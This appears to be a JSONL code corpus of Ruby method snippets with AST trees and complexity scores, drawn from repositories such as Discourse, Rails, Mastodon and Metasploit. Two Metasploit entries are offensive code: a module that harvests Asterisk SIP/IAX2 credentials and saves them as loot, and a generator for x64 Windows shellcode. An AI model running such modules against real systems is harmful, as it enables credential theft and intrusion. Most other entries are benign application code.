end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_boundary_resolver\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session_id\"]},{\"type\":\"arg\",\"children\":[\"chunk_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"estimated_delay\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk_count\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"seconds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"minutes\"]}]},\"max\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tracks\"]},\"BoundaryResolverJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"lvar\",\"children\":[\"estimated_delay\"]}]}]}]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]}]}","id":"fa3bd6c0-4a54-4d3c-be8c-be6936772c1f"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/trust_level3_requirements.rb","start_line":280,"raw_source":"def self.num_posts_in_time_period\n Discourse.redis.get(NUM_POSTS_KEY) ||\n begin\n count = Post.public_posts.visible.created_since(SiteSetting.tl3_time_period.days.ago).count\n Discourse.redis.setex NUM_POSTS_KEY, CACHE_DURATION, count\n count\n end\n end","complexity_score":18.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"num_posts_in_time_period\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"get\",{\"type\":\"const\",\"children\":[null,\"NUM_POSTS_KEY\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"public_posts\"]},\"visible\"]},\"created_since\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl3_time_period\"]},\"days\"]},\"ago\"]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"setex\",{\"type\":\"const\",\"children\":[null,\"NUM_POSTS_KEY\"]},{\"type\":\"const\",\"children\":[null,\"CACHE_DURATION\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}","id":"6e6123ac-8182-433a-824d-da131cf35041"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/asterisk_creds.rb","start_line":41,"raw_source":"def run\n vprint_status 'Connecting...'\n\n connect\n banner = sock.get_once\n\n unless banner =~ %r{Asterisk Call Manager/([\\d\\.]+)}\n fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'\n end\n\n print_status \"Found Asterisk Call Manager version #{$1}\"\n\n unless login\n fail_with Failure::NoAccess, 'Authentication failed'\n end\n\n print_good 'Authenticated successfully'\n\n @users = []\n retrieve_users 'sip'\n retrieve_users 'iax2'\n\n if @users.empty?\n print_error 'Did not find any users'\n return\n end\n\n print_status \"Found #{@users.length} users\"\n\n cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials',\n 'Indent' => 1,\n 'Columns' => ['Username', 'Secret', 'Type']\n\n @users.each do |user|\n cred_table << [\n user['username'],\n user['password'],\n user['type']\n ]\n report_cred user: user['username'],\n password: user['password'],\n proof: \"#{user['type']} show users\"\n end\n\n print_line\n print_line cred_table.to_s\n\n p = store_loot 'asterisk.user.creds',\n 'text/csv',\n rhost,\n cred_table.to_csv,\n 'Asterisk User Credentials'\n\n print_good \"Credentials saved in: #{p}\"\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e\n print_error e.message\n ensure\n disconnect\n end","complexity_score":58.05,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Connecting...\"]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Asterisk Call Manager/([\\\\d\\\\.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Asterisk Call Manager does not appear to be running\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Asterisk Call Manager version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Authentication failed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Authenticated successfully\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@users\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_users\",{\"type\":\"str\",\"children\":[\"sip\"]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_users\",{\"type\":\"str\",\"children\":[\"iax2\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Did not find any users\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Asterisk User Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"Secret\"]},{\"type\":\"str\",\"children\":[\"Type\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"str\",\"children\":[\" show users\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"asterisk.user.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"Asterisk User Credentials\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"7e4d8418-d701-4e50-808b-ea127fc8a73f"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/x64/messagebox.rb","start_line":38,"raw_source":"def generate(_opts = {})\n style = 0x00\n case datastore['ICON'].upcase.strip\n # default = NO\n when 'ERROR'\n style = 0x10\n when 'QUESTION'\n style = 0x20\n when 'WARNING'\n style = 0x30\n when 'INFORMATION'\n style = 0x40\n end\n\n exitfunc_asm = %(\n xor rcx,rcx\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}\n call rbp\n )\n if datastore['EXITFUNC'].upcase.strip == 'THREAD'\n exitfunc_asm = %(\n mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}\n call rbp\n add rsp,0x28\n cmp al,0x6\n jl use_exitthread ; is older than Vista or Server 2003 R2?\n cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX\n jne use_exitthread\n mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}\n\n use_exitthread:\n push 0\n pop rcx\n mov r10d,ebx\n call rbp\n )\n end\n payload_asm = %(\n cld\n and rsp,0xfffffffffffffff0\n call start_main\n #{asm_block_api}\n start_main:\n pop rbp\n call get_user32\n db \"user32.dll\", 0x00\n get_user32:\n pop rcx\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call rbp\n mov r9, #{style}\n call get_text\n db \"#{datastore['TEXT']}\", 0x00\n get_text:\n pop rdx\n call get_title\n db \"#{datastore['TITLE']}\", 0x00\n get_title:\n pop r8\n xor rcx,rcx\n mov r10d, #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}\n call rbp\n exitfunk:\n #{exitfunc_asm}\n )\n payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string\n return payload_data\n end","complexity_score":46.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ICON\"]}]},\"upcase\"]},\"strip\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"QUESTION\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"WARNING\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[48]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"INFORMATION\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[64]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"exitfunc_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" xor rcx,rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitProcess\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXITFUNC\"]}]},\"upcase\"]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"THREAD\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exitfunc_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" mov ebx, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitThread\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"GetVersion\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" add rsp,0x28\\n\"]},{\"type\":\"str\",\"children\":[\" cmp al,0x6\\n\"]},{\"type\":\"str\",\"children\":[\" jl use_exitthread ; is older than Vista or Server 2003 R2?\\n\"]},{\"type\":\"str\",\"children\":[\" cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX\\n\"]},{\"type\":\"str\",\"children\":[\" jne use_exitthread\\n\"]},{\"type\":\"str\",\"children\":[\" mov ebx, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ntdll.dll\"]},{\"type\":\"str\",\"children\":[\"RtlExitUserThread\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" use_exitthread:\\n\"]},{\"type\":\"str\",\"children\":[\" push 0\\n\"]},{\"type\":\"str\",\"children\":[\" pop rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d,ebx\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" cld\\n\"]},{\"type\":\"str\",\"children\":[\" and rsp,0xfffffffffffffff0\\n\"]},{\"type\":\"str\",\"children\":[\" call start_main\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" start_main:\\n\"]},{\"type\":\"str\",\"children\":[\" pop rbp\\n\"]},{\"type\":\"str\",\"children\":[\" call get_user32\\n\"]},{\"type\":\"str\",\"children\":[\" db \\\"user32.dll\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\" get_user32:\\n\"]},{\"type\":\"str\",\"children\":[\" pop rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" mov r9, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call get_text\\n\"]},{\"type\":\"str\",\"children\":[\" db \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEXT\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\" get_text:\\n\"]},{\"type\":\"str\",\"children\":[\" pop rdx\\n\"]},{\"type\":\"str\",\"children\":[\" call get_title\\n\"]},{\"type\":\"str\",\"children\":[\" db \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TITLE\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\" get_title:\\n\"]},{\"type\":\"str\",\"children\":[\" pop r8\\n\"]},{\"type\":\"str\",\"children\":[\" xor rcx,rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"user32.dll\"]},{\"type\":\"str\",\"children\":[\"MessageBoxA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" exitfunk:\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exitfunc_asm\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X64\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"payload_asm\"]}]},\"encode_string\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]}]}]}","id":"8d23d6da-d7f6-4baf-8926-3bc075bb3aca"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/messages/index.rb","start_line":62,"raw_source":"def expect_num_replies(amount)\n expect(page).to have_css(\"td.replies\", text: amount)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_num_replies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"amount\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"td.replies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]}]}]}","id":"d5bf1d42-22ac-4b0d-8e68-6d78e81164d6"}
+{"repo_name":"forem","file_path":"./repos/forem/app/services/markdown_processor/parser.rb","start_line":84,"raw_source":"def calculate_reading_time\n word_count = @content.split(/\\W+/).count\n (word_count / WORDS_READ_PER_MINUTE).ceil\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_reading_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"word_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word_count\"]},\"/\",{\"type\":\"const\",\"children\":[null,\"WORDS_READ_PER_MINUTE\"]}]}]},\"ceil\"]}]}]}","id":"a302ad2b-834d-4009-bed2-92e405e4abee"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb","start_line":4,"raw_source":"def self.up\n raise \"incorrect migration version\" unless version == 20131219224947\n end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"==\",{\"type\":\"int\",\"children\":[20131219224947]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"incorrect migration version\"]}]}]}]}","id":"4f0e90ff-2550-4611-b991-3599237500d7"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/frontend_asset_helper.rb","start_line":78,"raw_source":"def lookup_frontend_asset(unhashed_file_name)\n hashed_file_name = ::OpenProject::Assets.lookup_asset(unhashed_file_name)\n frontend_asset_path(hashed_file_name)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_frontend_asset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unhashed_file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hashed_file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenProject\"]},\"Assets\"]},\"lookup_asset\",{\"type\":\"lvar\",\"children\":[\"unhashed_file_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"frontend_asset_path\",{\"type\":\"lvar\",\"children\":[\"hashed_file_name\"]}]}]}]}","id":"cb56ad41-2f3c-4574-b712-b1d2309ac50e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/database/rescue_query_canceled.rb","start_line":31,"raw_source":"def on_resbody(node)\n return unless node.children.first\n\n rescue_args = node.children.first.children\n return unless rescue_args.any? { |a| targets_exception?(a) }\n\n add_offense(node)\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_resbody\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"first\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rescue_args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"first\"]},\"children\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescue_args\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"targets_exception?\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"b81abf1c-1d00-48bc-83c1-95d2d47a020e"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/chewy/settings_extensions.rb","start_line":5,"raw_source":"def enabled?\n settings[:enabled]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]}]}","id":"2be95184-8feb-43e2-b21f-a467121c8c26"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/browser_detection.rb","start_line":14,"raw_source":"def browser\n detection.id\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"browser\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"detection\"]},\"id\"]}]}","id":"b434efef-8a89-4d91-b361-e2b5abb88acd"}
